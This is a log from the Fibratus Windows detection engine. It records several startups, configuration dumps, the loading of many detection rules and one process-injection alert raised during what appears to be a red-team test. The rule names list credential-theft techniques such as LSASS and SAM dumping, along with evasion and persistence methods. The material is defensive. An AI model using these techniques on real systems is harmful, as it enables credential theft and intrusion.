+time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:09:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:09:39+01:00 level=info msg=bootstrapping with pid 7624. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:09:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ port=>25 use-template=>true content-type=>text/html to=>[] enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true enable-image=>true enable-handle=>false stack-enrichment=>true enable-vamap=>true max-buffers=>36 enable-audit-api=>true enable-thread=>true min-buffers=>16 flush-interval=>1s enable-net=>true enable-dns=>false enable-fileio=>true enable-threadpool=>false enable-mem=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-size=>100 max-age=>0 formatter=>text] + output ......................... [ elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false enabled=>false healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s template-name=>fibratus sniff=>false index-name=>fibratus trace-log=>false healthcheck-timeout=>5s timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s passive=>false vhost=>/ exchange-type=>topic durable=>false routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false] http=>[ method=>POST endpoints=>[] serializer=>json timeout=>5s enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s enabled=>false skip-files=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:09:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:09:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:10:08+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1658035 + Pid: 16160 + Tid: 18492 + Type: SetThreadContext + CPU: 5 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:10:06.9671469 +0100 CET + Params: status➜ Success + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 16160 + Ppid: 17996 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=92.3287" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=92.3287" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:10:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:10:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:10:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:11:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T16:11:04+01:00 level=info msg=bootstrapping with pid 6556. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:11:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true min-buffers=>16 stack-enrichment=>true enable-thread=>true enable-mem=>false max-buffers=>36 enable-image=>true enable-registry=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true enable-handle=>false flush-interval=>1s enable-vamap=>true buffer-size=>512 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ routing-key=>fibratus exchange=>fibratus passive=>false delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic vhost=>/ timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ template-name=>fibratus bulk-workers=>1 healthcheck=>true enabled=>false sniff=>false trace-log=>false timeout=>5s flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false index-name=>fibratus healthcheck-interval=>10s] http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST endpoints=>[]]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false enabled=>false skip-mmaps=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:11:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:11:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:11:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:11:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:11:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:11:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T16:11:52+01:00 level=info msg=bootstrapping with pid 18964. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:11:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false to=>[] use-template=>true content-type=>text/html port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-vamap=>true min-buffers=>16 enable-net=>true max-buffers=>36 enable-mem=>false enable-handle=>false enable-threadpool=>false enable-registry=>true enable-dns=>false buffer-size=>512 enable-image=>true enable-thread=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true stack-enrichment=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 level=>info log-stdout=>true max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 timeout=>5s enabled=>false healthcheck=>true gzip-compression=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus trace-log=>false healthcheck-interval=>10s] amqp=>[ exchange-type=>topic timeout=>5s routing-key=>fibratus passive=>false enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus durable=>false vhost=>/] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ serializer=>json timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[] excluded-files=>[] fastscan=>true enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:11:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:11:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:11:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:11:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:11:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:11:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:11:58+01:00 